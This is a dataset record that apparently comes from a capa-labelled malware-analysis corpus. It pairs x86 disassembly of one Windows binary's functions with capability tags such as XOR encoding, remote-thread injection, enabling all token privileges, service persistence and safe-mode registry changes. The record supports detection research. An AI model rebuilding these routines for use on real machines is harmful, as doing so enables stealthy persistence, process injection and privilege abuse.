joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40910a
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
jne 0x40913b
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, dword [0x41851c]
mov esi, eax
test edi, edi
jne 0x409180
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edi, [esi + eax]
mov dword [0x41851c], edi
jmp 0x409180
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [0x41851c]
inc esi
add esi, eax
jmp 0x409180
inc esi
push 0x4010f2
push esi
call fcn.0041182c
test eax, eax
jne 0x40914d
cmp byte [esi], 0x22
jne 0x409163
inc esi
mov ebx, esi
jmp 0x409168
inc esi
push 0x4010f5
push esi
call fcn.0041182c
test eax, eax
je 0x409167
mov byte [esi], 0
cmp byte [ebx], 0
jne 0x40918d
inc esi
cmp esi, edi
jb 0x40914e
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 4
mov eax, ebx
jmp 0x409186

Function at 0x4091ab
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
test dl, 1
je 0x4091ba
xor eax, eax
jmp 0x4091ea
push ebx
push esi
xor esi, esi
mov ebx, 0x9591
shr edx, 1
je 0x4091e5
push edi
mov edi, dword [ebp + 8]
movzx ecx, word [edi + esi*2]
imul eax, esi, 3
add eax, ebx
mov ebx, ecx
add eax, dword [ebp + 0xc]
xor eax, ecx
mov word [edi + esi*2], ax
inc esi
cmp esi, edx
jb 0x4091cb
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
pop ebp
ret 0xc

Function at 0x4091ee
Capabilities:
Check if file exists
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push esi
push 0x12c
xor esi, esi
mov dword [ebp - 8], 0xcb006a06
lea eax, [ebp - 0x138]
push esi
push eax
call fcn.0040c3b7
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
call fcn.0040bb9d
push 0x104
lea eax, [ebp - 0x138]
push eax
push 0x404440
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [ebp - 4], eax
test eax, eax
je 0x4092b7
push edi
push 0x404428
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push closesocket
push 3
push esi
push 3
push 0xc0000000
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4092a8
push esi
push esi
push 0xe
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x40929f
push esi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4092b6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4092b6
xor esi, esi
inc esi
pop edi
lea eax, [ebp - 0xc]
push eax
call fcn.0040b5e1
mov eax, esi
pop esi
leave
ret
Function at 0x40935a
Capabilities:
Create thread

Disassembly:
push 0xc
push 0x416fa0
call fcn.00409e13
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x20
push ebx
mov esi, dword [ebp + 8]
push esi
call fcn.0040c8cd
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi], eax
test eax, eax
je 0x4093b1
lea eax, [ebp - 0x1c]
push eax
push ebx
push esi
push 0x4089f0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 8], eax
jmp 0x4093b1
or dword [ebp - 4], 0xffffffff
mov eax, ebx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4095ce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov esi, dword [ebp + 0xc]
xor eax, eax
push eax
mov edi, esp
push edi
push eax
push dword [ebp + 8]
call fcn.00409821
pop ecx
jecxz 0x4095f4
push eax
mov al, byte [eax]
xor al, 0xb5
mov byte [esi], al
pop eax
inc esi
inc eax
loop 0x4095e8
mov byte [esi], 0
pop edi
pop esi
pop ebp
ret 8

Function at 0x409622
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x409661
push esi
mov esi, dword [ebp + 8]
test byte [esi], 2
je 0x409661
cmp dword [esi + 0x48], 0
je 0x409647
push 0x50
push dword [eax]
push dword [esi + 0x48]
call fcn.0040c8b4
push 0
push 0
push esi
mov esi, dword [esi + 0x28]
mov ecx, esi
call dword [0x4193a0]
call esi
xor eax, eax
inc eax
pop esi
pop ebp
ret 8
push 0
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x409924
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
push edi
push dword [ebp + 0x14]
push dword [ebp + 8]
call fcn.0040967b
mov ebx, eax
mov dh, byte [ebx]
mov dl, 1
mov ecx, dword [edi]
or dh, dh
jne 0x409957
inc ebx
push ecx
mov eax, esp
push eax
push 0
push dword [ebx]
call fcn.00409821
pop ecx
jecxz 0x409965
push eax
mov al, byte [eax]
xor al, 0xb5
mov byte [esi], al
pop eax
inc esi
inc eax
loop 0x409959
or dh, dh
jne 0x409971
inc dl
mov cl, dl
cmp ecx, dword [edi]
jl 0x409944
mov byte [esi], 0
sub esi, dword [ebp + 0xc]
mov dword [edi], esi
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x409bc9
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push eax
push 0x4081b0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x409bf9
push 1
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
leave
ret

Function at 0x409bfc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
cmp dword [0x41806c], 3
push edi
mov dword [ebp - 4], esi
mov ebx, esi
jne 0x409c31
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
setne bl
jmp 0x409c3b
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
cmp dword [0x41806c], 3
jne 0x409c5b
lea eax, [ebp - 8]
push eax
push esi
push dword [ebp + 8]
push 0x409cb0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x409c77
push 0x409cb0
call fcn.004068ca
lea ecx, [ebp - 8]
push ecx
push esi
push dword [ebp + 8]
push eax
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x409c98
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x409ca3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x409e50
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
xor edi, edi
xor ebx, ebx
push edi
push edi
inc ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x406850
push 0x4043e4
mov dword [0x418094], eax
mov dword [0x418044], 0x10
mov dword [0x418050], 0x42a
mov dword [0x418054], ebx
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
mov dword [0x418018], eax
test eax, eax
je 0x409f43
push esi
push edi
push 0x1388
push 2
mov dword [0x41804c], ebx
call fcn.00408872
push edi
push edi
push 4
mov dword [0x41804c], 5
call fcn.00408872
lea eax, [ebp - 4]
mov dword [0x418050], edi
push eax
push edi
push edi
push 0x408000
push edi
push edi
mov dword [0x418054], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
jne 0x409ef9
mov dword [0x418054], 2
jmp 0x409f2e
push 0xffffffffffffffff
push dword [0x418094]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x418078]
test eax, eax
je 0x409f1b
push edi
push edi
push 0x11
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x7530
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x418094]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push ebx
call fcn.00408872
pop esi
pop edi
pop ebx
leave
ret 8
Function at 0x40a421
Capabilities:
Get common file path
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push 7
pop ecx
xor esi, esi
lea edi, [ebp - 0x20]
push 2
xor eax, eax
mov ebx, esi
push esi
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
test eax, eax
je 0x40a509
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x40a500
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov ebx, eax
test ebx, ebx
je 0x40a4f9
mov ecx, dword [ebp - 0x1c]
sub ecx, 1
je 0x40a48b
sub ecx, 3
je 0x40a4f9
mov ebx, esi
jmp 0x40a4f9
push 0x104
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x404490
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x404494
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ebx, eax
test ebx, ebx
je 0x40a4f9
mov ebx, esi
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x1c], 4
je 0x40a4f6
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x14
jl 0x40a4d2
jmp 0x40a4f9
xor ebx, ebx
inc ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x40a657
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 8]
xor esi, esi
and dword [ebp - 8], esi
xor edi, edi
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, dword [ebp + 8]
test eax, eax
je 0x40a723
xor eax, eax
mov dword [ebp - 4], eax
test ebx, ebx
je 0x40a698
cmp dword [ebx], eax
je 0x40a698
mov esi, dword [ebx]
jmp 0x40a6f4
lea eax, [ebp - 4]
push eax
push 0
push 0
push 3
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40a723
add eax, eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x40a723
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push 3
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x40a71a
xor ecx, ecx
cmp dword [esi], ecx
jbe 0x40a6ee
lea eax, [esi + 0xc]
or dword [eax], 2
inc ecx
lea eax, [eax + 0xc]
cmp ecx, dword [esi]
jb 0x40a6e3
mov eax, dword [ebp - 4]
lea edi, [eax + esi]
lea ecx, [ebp - 4]
push ecx
push edi
push eax
push esi
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x40a71a
test edi, edi
je 0x40a71a
push dword [ebp - 4]
push edi
push esi
call fcn.0040c8b4
jmp 0x40a723
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor esi, esi
cmp dword [ebp - 8], 0
je 0x40a732
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x40a738
mov dword [ebx], esi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x40a868
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x403794
call fcn.0040abce
push dword [ebp + 0x18]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x40a8d6
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0x100
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40a8d6
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
je 0x40a8d6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 4]
push eax
push 0x4037b4
call fcn.0040abce
xor eax, eax
inc eax
jmp 0x40a8d8
xor eax, eax
pop esi
leave
ret 0x14
Function at 0x40ad12
Capabilities:
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4c
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x538]
push eax
call fcn.0040c8b4
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0x538]
add eax, ecx
push eax
call fcn.0040c8b4
lea eax, [ebp - 0x24]
push eax
push esi
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
je 0x40adcf
test byte [ebp - 0x24], 0x10
je 0x40adb4
lea eax, [ebp - 0xa4c]
push eax
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0xa4c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0xa4c]
push eax
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x40adcc
test byte [ebp - 0x24], 1
je 0x40adcc
push 0x80
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor esi, esi
inc esi
mov eax, esi
pop esi
leave
ret 8

Function at 0x40afc7
Capabilities:
Check os version

Disassembly:
push 0xc4
push 0x417050
call fcn.00409e13
xor esi, esi
mov dword [ebp - 0x1c], esi
mov edi, esi
mov dword [ebp - 0xd4], 0x94
mov dword [ebp - 4], esi
lea eax, [ebp - 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40b050
cmp dword [ebp - 0xc4], 2
jne 0x40b050
cmp dword [ebp - 0xd0], 6
jne 0x40b050
cmp dword [ebp - 0xcc], esi
jne 0x40b050
inc esi
mov dword [ebp - 0x20], esi
lea eax, [ebp - 0x40]
push eax
call fcn.0040b36e
cmp eax, 1
jne 0x40b050
push 0x403af0
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40b04d
push 0x403afc
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40b050
xor edi, edi
inc edi
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
mov dword [ebp - 0x1c], 1
jmp 0x40b06a
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40b1ae
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x5c
push 0x417070
call fcn.00409e13
xor esi, esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x28], esi
xor ebx, ebx
inc ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 4], esi
lea eax, [ebp - 0x20]
push eax
push 0x101
push esi
push 0x403b08
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b2d5
mov dword [ebp - 0x24], 0x40
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x2c]
push eax
push esi
push 0x403b24
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40b2d5
cmp dword [ebp - 0x24], 8
jb 0x40b2d5
or esi, 0xffffffff
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
movsx ecx, byte [ebp - 0x6c]
imul edx, ecx, 0xa
movsx edi, byte [ebp - 0x6b]
add edi, 0xfffffdf0
add edi, edx
movsx ecx, byte [ebp - 0x69]
imul edx, ecx, 0xa
movsx ecx, byte [ebp - 0x68]
add ecx, 0xfffffdf0
add edx, ecx
cmp eax, 8
jne 0x40b266
movsx eax, byte [ebp - 0x66]
movsx esi, byte [ebp - 0x65]
jmp 0x40b273
cmp eax, 0xa
jne 0x40b281
movsx eax, byte [ebp - 0x64]
movsx esi, byte [ebp - 0x63]
imul ecx, eax, 0xa
add esi, 0xfffffdf0
add esi, ecx
mov dword [ebp - 0x1c], esi
cmp esi, 0x14
ja 0x40b28e
add esi, 0x7d0
jmp 0x40b29c
lea eax, [esi - 0x5a]
cmp eax, 9
ja 0x40b29f
add esi, 0x76c
mov dword [ebp - 0x1c], esi
lea eax, [edi - 1]
cmp eax, 0xb
ja 0x40b2d5
lea eax, [edx - 1]
cmp eax, 0x1e
ja 0x40b2d5
lea eax, [esi - 0x7c6]
cmp eax, 0x1e
ja 0x40b2d5
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
mov dword [ebp - 0x28], ebx
jmp 0x40b2d5
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 0
je 0x40b2e8
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40b36e
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x38
push 0x417080
call fcn.00409e13
xor esi, esi
mov dword [ebp - 0x20], esi
xor edi, edi
inc edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 4], esi
lea eax, [ebp - 0x1c]
push eax
push 0x101
push esi
push 0x403ab4
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b3ee
mov dword [ebp - 0x24], 0x20
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x28]
push eax
push esi
push 0x403ae4
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40b3dc
lea eax, [ebp - 0x48]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x20], edi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40b3ee
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40b406
Capabilities:
Get common file path
Parse pe header

Disassembly:
push 0x138
push 0x417090
call fcn.00409e13
mov dword [ebp - 0x20], 0x204
xor ebx, ebx
mov byte [ebp - 0x1c], 0x80
mov dword [ebp - 0x30], ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 4], ebx
push 0x104
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x403b34
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push ebx
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
mov dword [ebp - 0x30], edi
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x40b517
mov ecx, dword [edi + 0x3c]
add ecx, edi
mov dword [ebp - 0x3c], ecx
cmp dword [ecx], 0x4550
jne 0x40b517
movzx eax, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x28], eax
mov edx, ebx
mov dword [ebp - 0x2c], edx
movzx eax, word [ecx + 6]
cmp edx, eax
jae 0x40b4df
imul eax, edx, 0x28
mov dword [ebp - 0x38], eax
push 0x403b44
mov ecx, dword [ebp - 0x28]
add ecx, 0x18
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x40b4d3
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x28]
mov esi, dword [eax + ecx + 0x24]
add esi, edi
mov eax, dword [eax + ecx + 0x20]
mov dword [ebp - 0x24], eax
jmp 0x40b4e2
mov edx, dword [ebp - 0x2c]
inc edx
mov dword [ebp - 0x2c], edx
mov ecx, dword [ebp - 0x3c]
jmp 0x40b498
mov eax, dword [ebp - 0x24]
test esi, esi
je 0x40b517
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x44], esi
cmp ebx, eax
jae 0x40b517
push 5
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.00409595
test eax, eax
jne 0x40b51d
push 0x204
push esi
call fcn.0040b13d
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov dword [ebp - 0x34], 1
or dword [ebp - 4], 0xffffffff
jmp 0x40b538
inc ebx
mov dword [ebp - 0x40], ebx
inc esi
mov dword [ebp - 0x44], esi
mov eax, dword [ebp - 0x24]
jmp 0x40b4ec
test edi, edi
je 0x40b543
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40bbb1
Capabilities:
Delete registry key
Manipulate safe mode programs
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], 0x404538
push esi
push edi
mov dword [ebp - 8], 0x40456c
mov dword [ebp - 0x14], 0x76726553
mov dword [ebp - 0x10], 0x656369
cmp dword [ebp + 8], ebx
je 0x40bbfd
push 0x4045a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40bbfd
push 0x4045b0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
call fcn.0040b2fc
neg eax
sbb esi, esi
and esi, 0x100
add esi, 0xf003f
xor edi, edi
push dword [ebp + edi*4 - 0xc]
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4043e4
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp + 8], 0
jne 0x40bc82
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push esi
push eax
push eax
push eax
lea eax, [ebp - 0x11c]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40bcad
push 8
lea eax, [ebp - 0x14]
push eax
push 1
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40bcad
lea eax, [ebp - 0x11c]
test ebx, ebx
je 0x40bca1
push 0
push esi
push eax
push closesocket
mov ecx, ebx
call dword [0x4193a0]
call ebx
jmp 0x40bcad
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
inc edi
cmp edi, 2
jl 0x40bc14
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40be86
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40beec
push ebx
push esi
push esi
push esi
push 2
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
je 0x40bee4
push esi
push esi
push esi
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
test ecx, ecx
je 0x40bedd
mov eax, dword [ecx + 0x3c]
push ecx
mov esi, dword [eax + ecx + 8]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x40c493
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
lea eax, [ebp - 4]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push 0x403a50
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40c4dc
push dword [ebp + 0xc]
push dword [ebp + 8]
push 3
push esi
push 0x403c54
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret 8
Function at 0x40caa0
Capabilities:
Set file attributes

Disassembly:
push esi
push 0x80
mov esi, 0x4181c8
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x8000080
push 4
push 0
push 3
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
pop esi
ret